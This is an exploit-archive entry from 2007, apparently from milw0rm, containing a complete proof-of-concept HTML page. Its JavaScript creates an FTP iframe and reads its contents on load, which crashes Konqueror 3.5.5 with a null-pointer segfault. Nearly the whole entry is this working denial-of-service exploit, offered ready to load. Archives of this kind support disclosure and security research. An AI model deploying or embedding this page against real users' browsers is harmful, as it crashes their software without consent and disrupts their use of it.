Konqueror 3.5.5 - JavaScript Read of FTP Iframe Denial of Service



EKU-ID: 11391 CVE: OSVDB-ID:
Author: mark Published: 2007-03-05 Verified: Verified
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<html>
<body>

Demo of how to make Konqueror 3.5.5 crash by mark@bindshell.net.<p>
Simply load this file in Konqueror.  Vulnerable versions should segfault instantly with a null pointer exception.<p>
<p>

<script>
read_iframe = function(iframe_name) {
	var banner = document.getElementById(iframe_name).contentWindow.document.body.innerHTML;
	alert(banner);
}

var iframe = document.createElement("IFRAME");
iframe.setAttribute("src", 'ftp://localhost/anything');
iframe.setAttribute("name", 'myiframe');
iframe.setAttribute("id", 'myiframe');
iframe.setAttribute("onload", 'read_iframe("myiframe")');
iframe.style.width = "100px";
iframe.style.height = "100px";

document.body.appendChild(iframe);

</script>
</body>
</html>

# milw0rm.com [2007-03-05]